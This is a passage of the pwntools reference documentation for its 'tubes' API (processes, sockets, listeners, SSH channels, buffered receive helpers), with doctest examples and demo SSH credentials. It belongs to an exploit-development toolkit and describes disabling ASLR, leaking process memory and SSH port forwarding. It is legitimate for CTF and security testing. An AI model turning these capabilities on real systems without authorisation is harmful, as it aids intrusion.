OSX does not permit setting socket timeouts to 2**22. Assume that if we receive a timeout of 2**21 or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses `context.timeout`.

timeout_change ()

Callback for subclasses to hook a timeout change.

2.21 `pwnlib.tubes` — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented in *pwnlib.tubes.tube*. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.21.1 Types of Tubes

`pwnlib.tubes.process` — Processes

class `pwnlib.tubes.process.`**`process`**(*argv*, *shell=False*, *executable=None*, *cwd=None*, *env=None*, *timeout=pwnlib.timeout.Timeout.default*, *stdin=-1*, *stdout=<pwnlib.tubes.process.PTY object>*, *stderr=-2*, *level=None*, *close_fds=True*, *preexec_fn=<function <lambda>>*, *raw=True*, *aslr=None*, *setuid=None*, *where='local'*, *display=None*)

Bases: *`pwnlib.tubes.tube.tube`*

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **`argv`** (*`list`*) – List of arguments to pass to the spawned process.
- **`shell`** (*`bool`*) – Set to *True* to interpret *argv* as a string to pass to the shell for interpretation instead of as argv.
- **`executable`** (*`str`*) – Path to the binary to execute. If `None`, uses `argv[0]`. Cannot be used with `shell`.
- **`cwd`** (*`str`*) – Working directory. Uses the current working directory by default.
- **`env`** (*`dict`*) – Environment variables. By default, inherits from Python's environment.
- **`timeout`** (*`int`*) – Timeout to use on `tube` `recv` operations.
- **`stdin`** (*`int`*) – File object or file descriptor number to use for `stdin`. By default, a pipe is used. A pty can be used instead by setting this to `process.PTY`. This will cause programs to behave in an interactive manner (e.g.., `python` will show a `>>>` prompt). If the application reads from `/dev/tty` directly, use a pty.
- **`stdout`** (*`int`*) – File object or file descriptor number to use for `stdout`. By default, a pty is used so that any stdout buffering by libc routines is disabled. May also be `subprocess.PIPE` to use a normal pipe.
- **`stderr`** (*`int`*) – File object or file descriptor number to use for `stderr`. By default, `stdout` is used. May also be `subprocess.PIPE` to use a separate pipe, although the `tube` wrapper will not be able to read this data.
- **`close_fds`** (*`bool`*) – Close all open file descriptors except stdin, stdout, stderr. By default, `True` is used.
- **`preexec_fn`** (*`callable`*) – Callable to invoke immediately before calling `execve`.
- **`raw`** (*`bool`*) – Set the created pty to raw mode (i.e. disable echo and control characters). `True` by default. If no pty is created, this has no effect.
- **`aslr`** (*`bool`*) – If set to `False`, disable ASLR via `personality` (`setarch -R`) and `setrlimit` (`ulimit -s unlimited`).

  This disables ASLR for the target process. However, the `setarch` changes are lost if a `setuid` binary is executed.

  The default value is inherited from `context.aslr`. See `setuid` below for additional options and information.
- **`setuid`** (*`bool`*) – Used to control *setuid* status of the target binary, and the corresponding actions taken.

By default, this value is `None`, so no assumptions are made.

If `True`, treat the target binary as `setuid`. This modifies the mechanisms used to disable ASLR on the process if `aslr=False`. This is useful for debugging locally, when the exploit is a `setuid` binary.

If `False`, prevent `setuid` bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

- **where** (*str*) – Where the process is running, used for logging purposes.
- **display** (*list*) – List of arguments to display, instead of the main executable name.

proc

subprocess

Examples

```
>>> p = process('python2')
>>> p.sendline("print 'Hello world'")
>>> p.sendline("print 'Wow, such data'");
>>> '' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
'Hello world\n'
>>> p.recvuntil(',')
'Wow,'
>>> p.recvregex('.*data')
' such data'
>>> p.recv()
'\n'
>>> p.recv()
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom').read(4096)
>>> p.recv(timeout=0.1)
''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null', 'w+'))
>>> p.recv()
'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python','-c','import os; print os.read(2,1024)'],
...             preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline('hello')
>>> p.recvline()
'hello\n'
```

```
>>> stack_smashing = ['python','-c','open("/dev/tty","wb").write("stack smashing detected")']
>>> process(stack_smashing).recvall()
'stack smashing detected'
```

```
>>> PIPE=subprocess.PIPE
>>> process(stack_smashing, stdout=PIPE).recvall()
''
```

```
>>> getpass = ['python','-c','import getpass; print getpass.getpass("XXX")']
>>> p = process(getpass, stdin=process.PTY)
>>> p.recv()
'XXX'
>>> p.sendline('hunter2')
>>> p.recvall()
'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...    c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh','-c','ulimit -s'], aslr=0).recvline()
'unlimited\n'
```

argv = None
Arguments passed on argv

aslr = None
Whether ASLR should be left on

communicate (*stdin = None*) → str
Calls `subprocess.Popen.communicate()` method on the process.

cwd = None
Directory the process was created in

env = None
Environment passed on envp

executable = None
Full path to the executable

kill ()
Kills the process.

leak(*address*, *count=0*)

Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

libc

Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

libs() → dict

Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

If `/proc/$PID/maps` for the process cannot be accessed, the output of `ldd` alone is used. This may give inaccurate results if ASLR is enabled.

poll(*block = False*) → int

Parameters **block** (*bool*) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

proc = None

subprocess.Popen object

program

Alias for `executable`, for backward compatibility

pty = None

Which file descriptor is the controlling TTY

raw = None

Whether the controlling TTY is set to raw mode

`pwnlib.tubes.serialtube` — Serial Ports

class `pwnlib.tubes.serialtube.`**serialtube**(*port=None*, *baudrate=115200*, *convert_newlines=True*, *bytesize=8*, *parity='N'*, *stopbits=1*, *xonxoff=False*, *rtscts=False*, *dsrdtr=False*, *timeout=pwnlib.timeout.Timeout.default*, *level=None*)

`pwnlib.tubes.sock` — Sockets

class `pwnlib.tubes.sock.`**sock**

Bases: *pwnlib.tubes.tube.tube*

Methods available exclusively to sockets.

class `pwnlib.tubes.remote.`**remote**(*host*, *port*, *fam='any'*, *typ='tcp'*, *timeout=pwnlib.timeout.Timeout.default*, *ssl=False*, *sock=None*, *level=None*)

Bases: *pwnlib.tubes.sock.sock*

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **host** (*str*) – The host to connect to.
- **port** (*int*) – The port to connect to.
- **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None or the string "default".
- **ssl** (*bool*) – Wrap the socket with SSL
- **sock** (`socket`) – Socket to inherit, rather than connecting

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send('GET /\r\n\r\n')
>>> r.recvn(4)
'HTTP'
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send('GET /' + '\r\n'*2)
9
>>> r = remote.fromsocket(s)
>>> r.recvn(4)
'HTTP'
```

classmethod fromsocket (*socket*)

Helper method to wrap a standard python socket.socket with the tube APIs.

Parameters **socket** – Instance of socket.socket

Returns Instance of pwnlib.tubes.remote.remote.

class pwnlib.tubes.listen.**listen** (*port=0, bindaddr='0.0.0.0', fam='any', typ='tcp', timeout=pwnlib.timeout.Timeout.default, level=None*)

Bases: *pwnlib.tubes.sock.sock*

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **port** (*int*) – The port to connect to.
- **bindaddr** (*str*) – The address to bind to.
- **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.

- **timeout** – A positive number, None

wait_for_connection()
Blocks until a connection has been established.

pwnlib.tubes.ssh — SSH

class pwnlib.tubes.ssh.**ssh**(*user*, *host*, *port=22*, *password=None*, *key=None*, *keyfile=None*, *proxy_command=None*, *proxy_sock=None*, *timeout=pwnlib.timeout.Timeout.default*, *level=None*, *cache=True*, *ssh_agent=False*)

cache = True
Enable caching of SSH downloads (bool)

client = None
Paramiko SSHClient which backs this object

close()
Close the connection.

connect_remote(*host*, *port*, *timeout = Timeout.default*) → ssh_connecter
Connects to a host through an SSH connection. This is equivalent to using the -L flag on ssh.

Returns a *pwnlib.tubes.ssh.ssh_connecter* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

connected()
Returns True if we are connected.

Example

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
```

cwd = None
Working directory (str)

download_data(*remote*)

Downloads a file from the remote server and returns it as a string.

Parameters **remote** (*str*) – The remote filename to download.

Examples

```
>>> with file('/tmp/bar','w+') as f:
...     f.write('Hello, world')
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass',
...         cache=False)
>>> s.download_data('/tmp/bar')
'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
'Hello, world'
```

download_dir(*remote=None*, *local=None*)

Recursively downloads a directory from the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

download_file(*remote*, *local=None*)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- **remote** (*str*) – The remote filename to download
- **local** (*str*) – The local filename to save it to. Default is to infer it from the remote filename.

getenv(*variable*, ***kwargs*)

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as argv[0]. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with `argv=[]`.

Example

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass',
...         cache=False)
>>>
```

host = None
Remote host name (`str`)

interactive (*shell=None*)
Create an interactive session.

This is a simple wrapper for creating a new *pwnlib.tubes.ssh.ssh_channel* object and calling *pwnlib.tubes.ssh.ssh_channel.interactive()* on it.

libs (*remote*, *directory=None*)
Downloads the libraries referred to by a file.

This is done by running ldd on the remote server, parsing the output and downloading the relevant files.

The directory argument specified where to download the files. This defaults to ‘./$HOSTNAME’ where $HOSTNAME is the hostname of the remote server.

listen (*port=0*, *bind_address=’‘*, *timeout=pwnlib.timeout.Timeout.default*)
listen_remote(port = 0, bind_address = ‘’, timeout = Timeout.default) -> ssh_connecter

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a *pwnlib.tubes.ssh.ssh_listener* object.

Examples

```
>>> from pwn import *
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

listen_remote (*port = 0*, *bind_address = ‘’*, *timeout = Timeout.default*) → ssh_connecter
Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a *pwnlib.tubes.ssh.ssh_listener* object.

Examples

```
>>> from pwn import *
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

pid = None
PID of the remote `sshd` process servicing this connection.

port = None

Remote port (`int`)

process (*argv=None*, *executable=None*, *tty=True*, *cwd=None*, *env=None*, *timeout=pwnlib.timeout.Timeout.default*, *run=True*, *stdin=0*, *stdout=1*, *stderr=2*, *preexec_fn=None*, *preexec_args=[]*, *raw=True*, *aslr=None*, *setuid=None*)

Executes a process on the remote server, in the same fashion as pwnlib.tubes.process.process.

To achieve this, a Python script is created to call `os.execve` with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

Parameters

- **argv** (*list*) – List of arguments to pass into the process
- **executable** (*str*) – Path to the executable to run. If `None`, `argv[0]` is used.
- **tty** (*bool*) – Request a *tty* from the server. This usually fixes buffering problems by causing *libc* to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. Ctrl+C) and breaks *.shutdown*.
- **cwd** (*str*) – Working directory. If `None`, uses the working directory specified on *cwd* or set via *set_working_directory()*.
- **env** (*dict*) – Environment variables to set in the child. If `None`, inherits the default environment.
- **timeout** (*int*) – Timeout to set on the *tube* created to interact with the process.
- **run** (*bool*) – Set to `True` to run the program (default). If `False`, returns the path to an executable Python script on the remote server which, when executed, will do it.
- **stdin** (*int, str*) – If an integer, replace stdin with the numbered file descriptor. If a string, a open a file with the specified path and replace stdin with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If `None`, the file descriptor is closed.
- **stdout** (*int, str*) – See `stdin`.
- **stderr** (*int, str*) – See `stdin`.
- **preexec_fn** (*callable*) – Function which is executed on the remote side before execve().
- **preexec_args** (*object*) – Argument passed to `preexec_fn`.
- **raw** (*bool*) – If `True`, disable TTY control code interpretation.
- **aslr** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **setuid** (*bool*) – See `pwnlib.tubes.process.process` for more information.

Returns A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
>>> sh.recvall()
'Hello\n'
>>> s.process(['/bin/echo', '\xff']).recvall()
'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').recvall()
'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh')
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
'/tmp\n'
>>> p = s.process(['python','-c','import os; print os.read(2, 1024)'], stderr=0)
>>> p.send('hello')
>>> p.recv()
'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
''
>>> s.process(['/usr/bin/env'], env={}).recvall()
''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
'A=B\n'
```

remote (*host*, *port*, *timeout=pwnlib.timeout.Timeout.default*)
connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a *`pwnlib.tubes.ssh.ssh_connecter`* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

run (*process*, *tty=True*, *wd=None*, *env=None*, *timeout=pwnlib.timeout.Timeout.default*, *raw=True*)
Backward compatibility. Use *`system()`*

run_to_end(*process*, *tty = False*, *timeout = Timeout.default*, *env = None*) → str

Run a command on the remote server and return a tuple with (data, exit_status). If *tty* is True, then the command is run inside a TTY on the remote server.

Examples

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> print s.run_to_end('echo Hello; exit 17')
('Hello\n', 17)
```

set_working_directory(*wd=None*)

Sets the working directory in which future commands will be run (via ssh.run) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses `mktemp -d` under the covers, sets permissions on the directory to `0700`. This means that setuid binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters **wd** (*string*) – Working directory. Default is to auto-generate a directory based on the result of running 'mktemp -d' on the remote machine.

Examples

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
''
>>> s.pwd() == cwd
True
```

sftp

Paramiko SFTPClient object which is used for file transfers. Set to `None` to disable `sftp`.

shell(*shell = None*, *tty = True*, *timeout = Timeout.default*) → ssh_channel

Open a new channel with a shell inside.

Parameters

- **shell** (*str*) – Path to the shell program to run. If `None`, uses the default shell for the logged in user.
- **tty** (*bool*) – If `True`, then a TTY is requested on the remote server.

Returns Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> print 'Hello' in sh.recvall()
True
```

system(*process*, *tty = True*, *wd = None*, *env = None*, *timeout = Timeout.default*, *raw = True*) → ssh_channel

Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote server.

If *raw* is True, terminal control codes are ignored and input is not echoed back.

Return a `pwnlib.tubes.ssh.ssh_channel` object.

Examples

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil('>>> ')
>>> py.sendline('print 2+2')
>>> py.sendline('exit')
>>> print repr(py.recvline())
'4\n'
```

upload_data(*data*, *remote*)

Uploads some data into a file on the remote server.

Parameters

- **data** (*str*) – The data to upload.
- **remote** (*str*) – The filename to upload it to.

Example

```
>>> s =  ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.upload_data('Hello, world', '/tmp/upload_foo')
>>> print file('/tmp/upload_foo').read()
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data('Hello, world', '/tmp/upload_bar')
>>> print file('/tmp/upload_bar').read()
Hello, world
```

upload_dir(*local*, *remote=None*)

Recursively uploads a directory onto the remote server

Parameters

- **local** – Local directory

- **remote** – Remote directory

upload_file (*filename*, *remote=None*)

Uploads a file to the remote server. Returns the remote filename.

Arguments: filename(str): The local filename to download remote(str): The remote filename to save it to. Default is to infer it from the local filename.

which (*program*) → str

Minor modification to just directly invoking `which` on the remote system which adds the current working directory to the end of `$PATH`.

class `pwnlib.tubes.ssh.`**ssh_channel**

Bases: *pwnlib.tubes.sock.sock*

interactive (*prompt = pwnlib.term.text.bold_red(‘$’) + ‘ ‘*)

If not in TTY-mode, this does exactly the same as meth:*pwnlib.tubes.tube.tube.interactive*, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the *pwnlib.term* is more mature.

kill ()

Kills the process.

poll () → int

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

class `pwnlib.tubes.ssh.`**ssh_connecter**

Bases: *pwnlib.tubes.sock.sock*

class `pwnlib.tubes.ssh.`**ssh_listener**

Bases: *pwnlib.tubes.sock.sock*

2.21.2 `pwnlib.tubes.tube` — Common Functionality

class `pwnlib.tubes.tube.`**tube**

Container of all the tube functions common to sockets, TTYs and SSH connetions.

can_recv (*timeout = 0*) → bool

Returns True, if there is data available within *timeout* seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv('data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

clean(*timeout = 0.05*)

Removes all the buffered data from a tube by calling *pwnlib.tubes.tube.tube.recv()* with a low timeout until it fails.

If `timeout` is zero, only cached data will be cleared.

Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv('clean me up')
>>> t.clean(0)
'clean me up'
>>> len(t.buffer)
0
```

clean_and_log(*timeout = 0.05*)

Works exactly as *pwnlib.tubes.tube.tube.clean()*, but logs received data with `pwnlib.self.info()`.

Returns All data received

Examples

```
>>> def recv(n, data=['', 'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
>>> t.recv_raw       = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno        = lambda: 1234
>>> with context.local(log_level='info'):
...     data = t.clean_and_log()
[DEBUG] Received 0xb bytes:
    'hooray_data'
>>> data
'hooray_data'
>>> context.clear()
```

close()

Closes the tube.

connect_both(*other*)

Connects the both ends of this tube object with another tube object.

connect_input(*other*)

Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> import time
>>> _=(b.connect_input(a), time.sleep(0.1))
data
```

connect_output(*other*)

Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> _=(a.connect_output(b), time.sleep(0.1))
data
```

connected(*direction = 'any'*) → bool

Returns True if the tube is connected in the specified direction.

Parameters **direction** (*str*) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

Doctest:

```
>>> def p(x): print x
>>> t = tube()
>>> t.connected_raw = p
>>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']"
```

connected_raw (*direction*)

connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno () → int

Returns the file number used for reading.

interactive (*prompt = pwnlib.term.text.bold_red('$') + ' '*)

Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using `pwnlib.term` to print a floating prompt.

Thus it only works in while in `pwnlib.term.term_mode`.

newline = '\n'

Delimiter to use for `sendline()`, `recvline()`, and related functions.

recv (*numb = 4096, timeout = default*) → str

Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Raises `exceptions.EOFError` – The connection is closed

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: 'Hello, world'
>>> t.recv() == 'Hello, world'
True
>>> t.unrecv('Woohoo')
>>> t.recv() == 'Woohoo'
True
>>> with context.local(log_level='debug'):
...     _ = t.recv()
[...] Received 0xc bytes:
    'Hello, world'
```

recvall () → str

Receives data until EOF is reached.

recvline (*keepends = True*) → str

Receive a single line from the tube.

A "line" is any sequence of bytes terminated by the byte sequence set in `newline`, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **keepends** (*bool*) – Keep the line ending (`True`).
- **timeout** (*int*) – Timeout

Returns All bytes received over the tube until the first newline `'\n'` is received. Optionally retains the ending.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
>>> t.recvline()
'Foo\n'
>>> t.recvline()
'Bar\r\n'
>>> t.recvline(keepends = False)
'Baz'
>>> t.newline = '\r\n'
>>> t.recvline(keepends = False)
'Foo\nBar'
```

`recvline_contains`(*items*, *keepends=False*, *timeout=pwnlib.timeout.Timeout.default*)
Receive lines until one line is found which contains at least one of *items*.

Parameters

- **`items`** (*`str`*, *`tuple`*) – List of strings to search for, or a single string.
- **`keepends`** (*`bool`*) – Return lines with newlines if `True`
- **`timeout`** (*`int`*) – Timeout, in seconds

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
'World'
>>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(('car', 'train'))
'bicycle car train'
```

`recvline_endswith`(*delims*, *keepends = False*, *timeout = default*) → str
Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

See *`recvline_startswith()`* for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
'Kaboodle\n'
>>> t.recvline_endswith('oodle')
'Kaboodle'
```

recvline_pred(*pred*, *keepends = False*) → str
Receive data until `pred(line)` returns a truthy value. Drop all other data.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters **pred** (*callable*) – Function to call. Returns the line for which this function returns `True`.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == "Bar\n")
'Bar'
>>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True)
'Bar\n'
>>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1)
''
```

recvline_regex(*regex*, *exact=False*, *keepends=False*, *timeout=pwnlib.timeout.Timeout.default*)
recvregex(regex, exact = False, keepends = False, timeout = default) -> str

Wrapper around *recvline_pred()*, which will return when a regex matches a line.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvline_startswith(*delims*, *keepends = False*, *timeout = default*) → str
Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **delims** (*str, tuple*) – List of strings to search for, or string of single characters
- **keepends** (*bool*) – Return lines with newlines if `True`
- **timeout** (*int*) – Timeout, in seconds

Returns The first line received which starts with a delimiter in `delims`.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith(tuple('WXYZ'))
'World'
>>> t.recvline_startswith(tuple('WXYZ'), True)
'Xylophone\n'
>>> t.recvline_startswith('Wo')
'World'
```

recvlines (*numlines*, *keepends = False*, *timeout = default*) → str list

Receive up to `numlines` lines.

A "line" is any sequence of bytes terminated by the byte sequence set by *newline*, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **numlines** (*int*) – Maximum number of lines to receive
- **keepends** (*bool*) – Keep newlines at the end of each line (`False`).
- **timeout** (*int*) – Maximum timeout

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: '\n'
>>> t.recvlines(3)
['', '', '']
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
['Foo', 'Bar', 'Baz']
>>> t.recvlines(3, True)
['Foo\n', 'Bar\n', 'Baz\n']
```

recvn (*numb*, *timeout = default*) → str

Receives exactly *n* bytes.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> data = 'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recvn(10, timeout=0.05)
''
>>> t.recvn(10, timeout=0.06)
'aaaaaa...'
```

recvpred(*pred*, *timeout = default*) → str

Receives one byte at a time from the tube, until `pred(bytes)` evaluates to True.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **pred** (*callable*) – Function to call, with the currently-accumulated data.
- **timeout** (*int*) – Timeout for the operation

Raises `exceptions.EOFError` – The connection is closed

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

recvregex(*regex*, *exact = False*, *timeout = default*) → str

Wrapper around *recvpred()*, which will return when a regex matches the string in the buffer.

